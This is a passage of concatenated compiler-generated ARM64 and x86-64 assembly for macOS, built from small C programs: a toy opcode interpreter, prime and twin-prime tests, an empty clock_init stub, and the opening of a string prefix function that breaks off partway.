@.str.10 .asciz "3 - %x\n" L_.str.11: ## @.str.11 .asciz "4 - %X\n" L_.str.12: ## @.str.12 .asciz "5 - %d%%\n" .subsections_via_symbols
the_stack_data/11075800.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _is_valid_opcode ; -- Begin function is_valid_opcode .p2align 2 _is_valid_opcode: ; @is_valid_opcode .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str w0, [sp, #8] ldr w8, [sp, #8] subs w8, w8, #1 cset w8, eq tbnz w8, #0, LBB0_3 b LBB0_1 LBB0_1: ldr w8, [sp, #8] subs w8, w8, #2 cset w8, eq tbnz w8, #0, LBB0_3 b LBB0_2 LBB0_2: ldr w8, [sp, #8] subs w8, w8, #99 cset w8, ne tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: mov w8, #1 and w8, w8, #0x1 and w8, w8, #0x1 strb w8, [sp, #15] b LBB0_5 LBB0_4: mov w8, #0 and w8, w8, #0x1 and w8, w8, #0x1 strb w8, [sp, #15] b LBB0_5 LBB0_5: ldrb w8, [sp, #15] and w0, w8, #0x1 add sp, sp, #16 ret .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w27, -24 .cfi_offset w28, -32 sub sp, sp, #528 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-24] str wzr, [sp, #48] add x0, sp, #52 adrp x1, l___const.main.code@PAGE add x1, x1, l___const.main.code@PAGEOFF mov x2, #468 bl _memcpy mov w8, #12 str w8, [sp, #56] mov w8, #2 str w8, [sp, #60] mov w8, #117 str w8, [sp, #44] str wzr, [sp, #40] b LBB1_1 LBB1_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #40] ldr w9, [sp, #44] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB1_15 b LBB1_2 LBB1_2: ; in Loop: Header=BB1_1 Depth=1 ldrsw x9, [sp, #40] add x8, sp, #52 ldr w9, [x8, x9, lsl #2] str w9, [sp, #36] ldr w9, [sp, #40] add w9, w9, #1 ldr w9, [x8, w9, sxtw #2] str w9, [sp, #32] ldr w9, [sp, #40] add w9, w9, #2 ldr w9, [x8, w9, sxtw #2] str w9, [sp, #28] ldr w9, [sp, #40] add w9, w9, #3 ldr w8, [x8, w9, sxtw #2] str w8, [sp, #24] ldr w0, [sp, #36] bl _is_valid_opcode tbz w0, #0, LBB1_12 b LBB1_3 LBB1_3: ; in Loop: Header=BB1_1 Depth=1 ldr w8, [sp, #36] subs w8, w8, #99 cset w8, ne tbnz w8, #0, LBB1_5 b LBB1_4 LBB1_4: ldr w9, [sp, #52] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf mov w0, #0 bl _exit LBB1_5: ; in Loop: Header=BB1_1 Depth=1 ldr w8, [sp, #36] subs w8, w8, #1 cset w8, ne tbnz w8, #0, LBB1_7 b LBB1_6 LBB1_6: ; in Loop: Header=BB1_1 Depth=1 ldrsw x8, [sp, #32] add x9, sp, #52 ldr w8, [x9, x8, lsl #2] ldrsw x10, [sp, #28] ldr w10, [x9, x10, lsl #2] add w8, w8, w10 ldrsw x10, [sp, #24] str w8, [x9, x10, lsl #2] b LBB1_10 LBB1_7: ; in Loop: Header=BB1_1 Depth=1 ldr w8, [sp, #36] subs w8, w8, #2 cset w8, ne tbnz w8, #0, LBB1_9 b LBB1_8 LBB1_8: ; in Loop: Header=BB1_1 Depth=1 ldrsw x8, [sp, #32] add x9, sp, #52 ldr w8, [x9, x8, lsl #2] ldrsw x10, [sp, #28] ldr w10, [x9, x10, lsl #2] mul w8, w8, w10 ldrsw x10, [sp, #24] str w8, [x9, x10, lsl #2] b LBB1_9 LBB1_9: ; in Loop: Header=BB1_1 Depth=1 b LBB1_10 LBB1_10: ; in Loop: Header=BB1_1 Depth=1 b LBB1_11 LBB1_11: ; in Loop: Header=BB1_1 Depth=1 b LBB1_13 LBB1_12: ldr w9, [sp, #36] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf mov w0, #1 bl _exit LBB1_13: ; in Loop: Header=BB1_1 Depth=1 b LBB1_14 LBB1_14: ; in Loop: Header=BB1_1 Depth=1 ldr w8, [sp, #40] add w8, w8, #4 str w8, [sp, #40] b LBB1_1 LBB1_15: ldr w8, [sp, #48] str w8, [sp, #20] ; 4-byte Folded Spill ldur x9, [x29, #-24] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB1_17 b LBB1_16 LBB1_16: bl ___stack_chk_fail LBB1_17: ldr w0, [sp, #20] ; 4-byte Folded Reload add sp, sp, #528 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #32 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .section __TEXT,__const .p2align 2 ; @__const.main.code l___const.main.code: .long 1 ; 0x1 .long 0 ; 0x0 .long 0 ; 0x0 .long 3 ; 0x3 .long 1 ; 0x1 .long 1 ; 0x1 .long 2 ; 0x2 .long 3 ; 0x3 .long 1 ; 0x1 .long 3 ; 0x3 .long 4 ; 0x4 .long 3 ; 0x3 .long 1 ; 0x1 .long 5 ; 0x5 .long 0 ; 0x0 .long 3 ; 0x3 .long 2 ; 0x2 .long 6 ; 0x6 .long 1 ; 0x1 .long 19 ; 0x13 .long 1 ; 0x1 .long 19 ; 0x13 .long 5 ; 0x5 .long 23 ; 0x17 .long 2 ; 0x2 .long 10 ; 0xa .long 23 ; 0x17 .long 27 ; 0x1b .long 2 ; 0x2 .long 27 ; 0x1b .long 13 ; 0xd .long 31 ; 0x1f .long 1 ; 0x1 .long 10 ; 0xa .long 31 ; 0x1f .long 35 ; 0x23 .long 1 ; 0x1 .long 35 ; 0x23 .long 9 ; 0x9 .long 39 ; 0x27 .long 2 ; 0x2 .long 39 ; 0x27 .long 13 ; 0xd .long 43 ; 0x2b .long 1 ; 0x1 .long 43 ; 0x2b .long 5 ; 0x5 .long 47 ; 0x2f .long 1 ; 0x1 .long 47 ; 0x2f .long 6 ; 0x6 .long 51 ; 0x33 .long 2 ; 0x2 .long 6 ; 0x6 .long 51 ; 0x33 .long 55 ; 0x37 .long 1 ; 0x1 .long 5 ; 0x5 .long 55 ; 0x37 .long 59 ; 0x3b .long 2 ; 0x2 .long 9 ; 0x9 .long 59 ; 0x3b .long 63 ; 0x3f .long 2 ; 0x2 .long 6 ; 0x6 .long 63 ; 0x3f .long 67 ; 0x43 .long 1 ; 0x1 .long 13 ; 0xd .long 67 ; 0x43 .long 71 ; 0x47 .long 1 ; 0x1 .long 9 ; 0x9 .long 71 ; 0x47 .long 75 ; 0x4b .long 2 ; 0x2 .long 13 ; 0xd .long 75 ; 0x4b .long 79 ; 0x4f .long 1 ; 0x1 .long 79 ; 0x4f .long 10 ; 0xa .long 83 ; 0x53 .long 2 ; 0x2 .long 83 ; 0x53 .long 9 ; 0x9 .long 87 ; 0x57 .long 1 ; 0x1 .long 5 ; 0x5 .long 87 ; 0x57 .long 91 ; 0x5b .long 2 ; 0x2 .long 91 ; 0x5b .long 6 ; 0x6 .long 95 ; 0x5f .long 2 ; 0x2 .long 13 ; 0xd .long 95 ; 0x5f .long 99 ; 0x63 .long 1 ; 0x1 .long 99 ; 0x63 .long 5 ; 0x5 .long 103 ; 0x67 .long 1 ; 0x1 .long 103 ; 0x67 .long 2 ; 0x2 .long 107 ; 0x6b .long 1 ; 0x1 .long 107 ; 0x6b .long 10 ; 0xa .long 0 ; 0x0 .long 99 ; 0x63 .long 2 ; 0x2 .long 0 ; 0x0 .long 14 ; 0xe .long 0 ; 0x0 .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "value at postion 0: %d\n" l_.str.1: ; @.str.1 .asciz "Error: %d is not a valid opcode\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _is_valid_opcode ## -- Begin function is_valid_opcode .p2align 4, 0x90 _is_valid_opcode: ## @is_valid_opcode .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl %edi, -8(%rbp) cmpl $1, -8(%rbp) je LBB0_3 ## %bb.1: cmpl $2, -8(%rbp) je LBB0_3 ## %bb.2: cmpl $99, -8(%rbp) jne LBB0_4 LBB0_3: movb $1, -1(%rbp) jmp LBB0_5 LBB0_4: movb $0, -1(%rbp) LBB0_5: movb -1(%rbp), %al andb $1, %al movzbl %al, %eax popq %rbp retq .cfi_endproc ## -- End function .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $528, %rsp ## imm = 0x210 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movl $0, -484(%rbp) leaq -480(%rbp), %rdi leaq l___const.main.code(%rip), %rsi movl $468, %edx ## imm = 0x1D4 callq _memcpy movl $12, -476(%rbp) movl $2, -472(%rbp) movl $117, -488(%rbp) movl $0, -492(%rbp) LBB1_1: ## =>This Inner Loop Header: Depth=1 movl -492(%rbp), %eax cmpl -488(%rbp), %eax jge LBB1_15 ## %bb.2: ## in Loop: Header=BB1_1 Depth=1 movslq -492(%rbp), %rax movl -480(%rbp,%rax,4), %eax movl %eax, -496(%rbp) movl -492(%rbp), %eax addl $1, %eax cltq movl -480(%rbp,%rax,4), %eax movl %eax, -500(%rbp) movl -492(%rbp), %eax addl $2, %eax cltq movl -480(%rbp,%rax,4), %eax movl %eax, -504(%rbp) movl -492(%rbp), %eax addl $3, %eax cltq movl -480(%rbp,%rax,4), %eax movl %eax, -508(%rbp) movl -496(%rbp), %edi callq _is_valid_opcode testb $1, %al jne LBB1_3 jmp LBB1_12 LBB1_3: ## in Loop: Header=BB1_1 Depth=1 cmpl $99, -496(%rbp) jne LBB1_5 ## %bb.4: movl -480(%rbp), %esi leaq L_.str(%rip), %rdi xorl %eax, %eax movl %eax, -512(%rbp) ## 4-byte Spill callq _printf movl -512(%rbp), %edi ## 4-byte Reload callq _exit LBB1_5: ## in Loop: Header=BB1_1 Depth=1 cmpl $1, -496(%rbp) jne LBB1_7 ## %bb.6: ## in Loop: Header=BB1_1 Depth=1 movslq -500(%rbp), %rax movl -480(%rbp,%rax,4), %ecx movslq -504(%rbp), %rax addl -480(%rbp,%rax,4), %ecx movslq -508(%rbp), %rax movl %ecx, -480(%rbp,%rax,4) jmp LBB1_10 LBB1_7: ## in Loop: Header=BB1_1 Depth=1 cmpl $2, -496(%rbp) jne LBB1_9 ## %bb.8: ## in Loop: Header=BB1_1 Depth=1 movslq -500(%rbp), %rax movl -480(%rbp,%rax,4), %ecx movslq -504(%rbp), %rax imull -480(%rbp,%rax,4), %ecx movslq -508(%rbp), %rax movl %ecx, -480(%rbp,%rax,4) LBB1_9: ## in Loop: Header=BB1_1 Depth=1 jmp LBB1_10 LBB1_10: ## in Loop: Header=BB1_1 Depth=1 jmp LBB1_11 LBB1_11: ## in Loop: Header=BB1_1 Depth=1 jmp LBB1_13 LBB1_12: movl -496(%rbp), %esi leaq L_.str.1(%rip), %rdi xorl %eax, %eax ## kill: def $al killed $al killed $eax callq _printf movl $1, %edi callq _exit LBB1_13: ## in Loop: Header=BB1_1 Depth=1 jmp LBB1_14 LBB1_14: ## in Loop: Header=BB1_1 Depth=1 movl -492(%rbp), %eax addl $4, %eax movl %eax, -492(%rbp) jmp LBB1_1 LBB1_15: movl -484(%rbp), %eax movl %eax, -516(%rbp) ## 4-byte Spill movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB1_17 ## %bb.16: movl -516(%rbp), %eax ## 4-byte Reload addq $528, %rsp ## imm = 0x210 popq %rbp retq LBB1_17: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .section __TEXT,__const .p2align 4 ## @__const.main.code l___const.main.code: .long 1 ## 0x1 .long 0 ## 0x0 .long 0 ## 0x0 .long 3 ## 0x3 .long 1 ## 0x1 .long 1 ## 0x1 .long 2 ## 0x2 .long 3 ## 0x3 .long 1 ## 0x1 .long 3 ## 0x3 .long 4 ## 0x4 .long 3 ## 0x3 .long 1 ## 0x1 .long 5 ## 0x5 .long 0 ## 0x0 .long 3 ## 0x3 .long 2 ## 0x2 .long 6 ## 0x6 .long 1 ## 0x1 .long 19 ## 0x13 .long 1 ## 0x1 .long 19 ## 0x13 .long 5 ## 0x5 .long 23 ## 0x17 .long 2 ## 0x2 .long 10 ## 0xa .long 23 ## 0x17 .long 27 ## 0x1b .long 2 ## 0x2 .long 27 ## 0x1b .long 13 ## 0xd .long 31 ## 0x1f .long 1 ## 0x1 .long 10 ## 0xa .long 31 ## 0x1f .long 35 ## 0x23 .long 1 ## 0x1 .long 35 ## 0x23 .long 9 ## 0x9 .long 39 ## 0x27 .long 2 ## 0x2 .long 39 ## 0x27 .long 13 ## 0xd .long 43 ## 0x2b .long 1 ## 0x1 .long 43 ## 0x2b .long 5 ## 0x5 .long 47 ## 0x2f .long 1 ## 0x1 .long 47 ## 0x2f .long 6 ## 0x6 .long 51 ## 0x33 .long 2 ## 0x2 .long 6 ## 0x6 .long 51 ## 0x33 .long 55 ## 0x37 .long 1 ## 0x1 .long 5 ## 0x5 .long 55 ## 0x37 .long 59 ## 0x3b .long 2 ## 0x2 .long 9 ## 0x9 .long 59 ## 0x3b .long 63 ## 0x3f .long 2 ## 0x2 .long 6 ## 0x6 .long 63 ## 0x3f .long 67 ## 0x43 .long 1 ## 0x1 .long 13 ## 0xd .long 67 ## 0x43 .long 71 ## 0x47 .long 1 ## 0x1 .long 9 ## 0x9 .long 71 ## 0x47 .long 75 ## 0x4b .long 2 ## 0x2 .long 13 ## 0xd .long 75 ## 0x4b .long 79 ## 0x4f .long 1 ## 0x1 .long 79 ## 0x4f .long 10 ## 0xa .long 83 ## 0x53 .long 2 ## 0x2 .long 83 ## 0x53 .long 9 ## 0x9 .long 87 ## 0x57 .long 1 ## 0x1 .long 5 ## 0x5 .long 87 ## 0x57 .long 91 ## 0x5b .long 2 ## 0x2 .long 91 ## 0x5b .long 6 ## 0x6 .long 95 ## 0x5f .long 2 ## 0x2 .long 13 ## 0xd .long 95 ## 0x5f .long 99 ## 0x63 .long 1 ## 0x1 .long 99 ## 0x63 .long 5 ## 0x5 .long 103 ## 0x67 .long 1 ## 0x1 .long 103 ## 0x67 .long 2 ## 0x2 .long 107 ## 0x6b .long 1 ## 0x1 .long 107 ## 0x6b .long 10 ## 0xa .long 0 ## 0x0 .long 99 ## 0x63 .long 2 ## 0x2 .long 0 ## 0x0 .long 14 ## 0xe .long 0 ## 0x0 .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "value at postion 0: %d\n" L_.str.1: ## @.str.1 .asciz "Error: %d is not a valid opcode\n" .subsections_via_symbols
the_stack_data/1173169.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _is_prime ; -- Begin function is_prime .p2align 2 _is_prime: ; @is_prime .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str w0, [sp, #8] ldr w8, [sp, #8] subs w8, w8, #1 cset w8, gt tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: mov w8, #0 and w8, w8, #0x1 and w8, w8, #0x1 strb w8, [sp, #15] b LBB0_8 LBB0_2: mov w8, #2 str w8, [sp, #4] mov w8, #1 str w8, [sp] b LBB0_3 LBB0_3: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #4] ldr w9, [sp, #4] mul w8, w8, w9 ldr w9, [sp, #8] subs w8, w8, w9 cset w8, gt tbnz w8, #0, LBB0_7 b LBB0_4 LBB0_4: ; in Loop: Header=BB0_3 Depth=1 ldr w8, [sp, #8] ldr w10, [sp, #4] sdiv w9, w8, w10 mul w9, w9, w10 subs w8, w8, w9 subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB0_6 b LBB0_5 LBB0_5: mov w8, #0 and w8, w8, #0x1 and w8, w8, #0x1 strb w8, [sp, #15] b LBB0_8 LBB0_6: ; in Loop: Header=BB0_3 Depth=1 ldr w9, [sp] ldr w8, [sp, #4] add w8, w8, w9 str w8, [sp, #4] mov w8, #2 str w8, [sp] b LBB0_3 LBB0_7: mov w8, #1 and w8, w8, #0x1 and w8, w8, #0x1 strb w8, [sp, #15] b LBB0_8 LBB0_8: ldrb w8, [sp, #15] and w0, w8, #0x1 add sp, sp, #16 ret .cfi_endproc ; -- End function .globl _is_twin_prime ; -- Begin function is_twin_prime .p2align 2 _is_twin_prime: ; @is_twin_prime .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur w0, [x29, #-4] ldur w0, [x29, #-4] bl _is_prime mov w8, #0 str w8, [sp, #8] ; 4-byte Folded Spill tbz w0, #0, LBB1_4 b LBB1_1 LBB1_1: ldur w8, [x29, #-4] subs w0, w8, #2 bl _is_prime mov w8, #1 str w8, [sp, #4] ; 4-byte Folded Spill tbnz w0, #0, LBB1_3 b LBB1_2 LBB1_2: ldur w8, [x29, #-4] add w0, w8, #2 bl _is_prime str w0, [sp, #4] ; 4-byte Folded Spill b LBB1_3 LBB1_3: ldr w8, [sp, #4] ; 4-byte Folded Reload str w8, [sp, #8] ; 4-byte Folded Spill b LBB1_4 LBB1_4: ldr w8, [sp, #8] ; 4-byte Folded Reload and w0, w8, #0x1 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _test_is_prime ; -- Begin function test_is_prime .p2align 2 _test_is_prime: ; @test_is_prime .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] b LBB2_1 LBB2_1: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-4] subs w8, w8, #100 cset w8, eq tbnz w8, #0, LBB2_6 b LBB2_2 LBB2_2: ; in Loop: Header=BB2_1 Depth=1 ldur w0, [x29, #-4] bl _is_prime tbz w0, #0, LBB2_4 b LBB2_3 LBB2_3: ; in Loop: Header=BB2_1 Depth=1 ldur w9, [x29, #-4] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf b LBB2_4 LBB2_4: ; in Loop: Header=BB2_1 Depth=1 b LBB2_5 LBB2_5: ; in Loop: Header=BB2_1 Depth=1 ldur w8, [x29, #-4] add w8, w8, #1 stur w8, [x29, #-4] b LBB2_1 LBB2_6: adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf mov w0, #0 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _test_is_twin_prime ; -- Begin function test_is_twin_prime .p2align 2 _test_is_twin_prime: ; @test_is_twin_prime .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] b LBB3_1 LBB3_1: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-4] subs w8, w8, #100 cset w8, eq tbnz w8, #0, LBB3_6 b LBB3_2 LBB3_2: ; in Loop: Header=BB3_1 Depth=1 ldur w0, [x29, #-4] bl _is_twin_prime tbz w0, #0, LBB3_4 b LBB3_3 LBB3_3: ; in Loop: Header=BB3_1 Depth=1 ldur w9, [x29, #-4] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf b LBB3_4 LBB3_4: ; in Loop: Header=BB3_1 Depth=1 b LBB3_5 LBB3_5: ; in Loop: Header=BB3_1 Depth=1 ldur w8, [x29, #-4] add w8, w8, #1 stur w8, [x29, #-4] b LBB3_1 LBB3_6: adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf mov w0, #0 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w8, #0 str w8, [sp, #8] ; 4-byte Folded Spill stur wzr, [x29, #-4] bl _test_is_prime bl _test_is_twin_prime ldr w0, [sp, #8] ; 4-byte Folded Reload ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%d " l_.str.1: ; @.str.1 .asciz "\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _is_prime ## -- Begin function is_prime .p2align 4, 0x90 _is_prime: ## @is_prime .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl %edi, -8(%rbp) cmpl $1, -8(%rbp) jg LBB0_2 ## %bb.1: movb $0, -1(%rbp) jmp LBB0_8 LBB0_2: movl $2, -12(%rbp) movl $1, -16(%rbp) LBB0_3: ## =>This Inner Loop Header: Depth=1 movl -12(%rbp), %eax imull -12(%rbp), %eax cmpl -8(%rbp), %eax jg LBB0_7 ## %bb.4: ## in Loop: Header=BB0_3 Depth=1 movl -8(%rbp), %eax cltd idivl -12(%rbp) cmpl $0, %edx jne LBB0_6 ## %bb.5: movb $0, -1(%rbp) jmp LBB0_8 LBB0_6: ## in Loop: Header=BB0_3 Depth=1 movl -16(%rbp), %eax addl -12(%rbp), %eax movl %eax, -12(%rbp) movl $2, -16(%rbp) jmp LBB0_3 LBB0_7: movb $1, -1(%rbp) LBB0_8: movb -1(%rbp), %al andb $1, %al movzbl %al, %eax popq %rbp retq .cfi_endproc ## -- End function .globl _is_twin_prime ## -- Begin function is_twin_prime .p2align 4, 0x90 _is_twin_prime: ## @is_twin_prime .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl %edi, -4(%rbp) movl -4(%rbp), %edi callq _is_prime movb %al, %cl xorl %eax, %eax ## kill: def $al killed $al killed $eax testb $1, %cl movb %al, -5(%rbp) ## 1-byte Spill jne LBB1_1 jmp LBB1_4 LBB1_1: movl -4(%rbp), %edi subl $2, %edi callq _is_prime movb %al, %cl movb $1, %al testb $1, %cl movb %al, -6(%rbp) ## 1-byte Spill jne LBB1_3 ## %bb.2: movl -4(%rbp), %edi addl $2, %edi callq _is_prime movb %al, -6(%rbp) ## 1-byte Spill LBB1_3: movb -6(%rbp), %al ## 1-byte Reload movb %al, -5(%rbp) ## 1-byte Spill LBB1_4: movb -5(%rbp), %al ## 1-byte Reload andb $1, %al movzbl %al, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _test_is_prime ## -- Begin function test_is_prime .p2align 4, 0x90 _test_is_prime: ## @test_is_prime .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) LBB2_1: ## =>This Inner Loop Header: Depth=1 cmpl $100, -4(%rbp) je LBB2_6 ## %bb.2: ## in Loop: Header=BB2_1 Depth=1 movl -4(%rbp), %edi callq _is_prime testb $1, %al jne LBB2_3 jmp LBB2_4 LBB2_3: ## in Loop: Header=BB2_1 Depth=1 movl -4(%rbp), %esi leaq L_.str(%rip), %rdi movb $0, %al callq _printf LBB2_4: ## in Loop: Header=BB2_1 Depth=1 jmp LBB2_5 LBB2_5: ## in Loop: Header=BB2_1 Depth=1 movl -4(%rbp), %eax addl $1, %eax movl %eax, -4(%rbp) jmp LBB2_1 LBB2_6: leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf xorl %eax, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _test_is_twin_prime ## -- Begin function test_is_twin_prime .p2align 4, 0x90 _test_is_twin_prime: ## @test_is_twin_prime .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) LBB3_1: ## =>This Inner Loop Header: Depth=1 cmpl $100, -4(%rbp) je LBB3_6 ## %bb.2: ## in Loop: Header=BB3_1 Depth=1 movl -4(%rbp), %edi callq _is_twin_prime testb $1, %al jne LBB3_3 jmp LBB3_4 LBB3_3: ## in Loop: Header=BB3_1 Depth=1 movl -4(%rbp), %esi leaq L_.str(%rip), %rdi movb $0, %al callq _printf LBB3_4: ## in Loop: Header=BB3_1 Depth=1 jmp LBB3_5 LBB3_5: ## in Loop: Header=BB3_1 Depth=1 movl -4(%rbp), %eax addl $1, %eax movl %eax, -4(%rbp) jmp LBB3_1 LBB3_6: leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf xorl %eax, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) callq _test_is_prime callq _test_is_twin_prime xorl %eax, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%d " L_.str.1: ## @.str.1 .asciz "\n" .subsections_via_symbols
the_stack_data/182952673.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _clock_init ; -- Begin function clock_init .p2align 2 _clock_init: ; @clock_init .cfi_startproc ; %bb.0: ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _clock_init ## -- Begin function clock_init .p2align 4, 0x90 _clock_init: ## @clock_init .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
the_stack_data/92941.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _Prefix ; -- Begin function Prefix .p2align 2 _Prefix: ; @Prefix .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] ldur x0, [x29, #-8] bl _strlen mov x8, x0 str w8, [sp, #16] ldrsw x8, [sp, #16] lsl x0, x8, #2 bl _malloc str x0, [sp, #8] str wzr, [sp, #4] ldr w8, [sp, #4] ldr x9, [sp, #8] str w8, [x9] mov w8, #1 stur w8, [x29, #-12] b LBB0_1 LBB0_1: ; =>This Loop Header: Depth=1 ; Child Loop BB0_3 Depth 2 ldur w8, [x29, #-12] ldr w9, [sp, #16] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_12 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 b LBB0_3 LBB0_3: ; Parent Loop BB0_1 Depth=1 ; => This Inner Loop Header: Depth=2 ldr w8, [sp, #4] subs w8, w8, #0 cset w8, le mov w9, #0 str w9, [sp] ; 4-byte Folded Spill tbnz w8, #0, LBB0_5 b LBB0_4 LBB0_4: ; in Loop: Header=BB0_3 Depth=2 ldur x8, [x29, #-8] ldrsw x9, [sp, #4] ldrsb w8, [x8, x9] ldur x9, [x29, #-8] ldursw x10, [x29, #-12] ldrsb w9, [x9, x10] subs w8, w8, w9 cset w8, ne str w8, [sp] ; 4-byte Folded Spill b LBB0_5 LBB0_5: ; in Loop: Header=BB0_3 Depth=2 ldr w8, [sp] ; 4-byte Folded Reload tbz w8, #0, LBB0_8 b LBB0_6 LBB0_6: ; in Loop: Header=BB0_3 Depth=2 b LBB0_7 LBB0_7: ; in Loop: 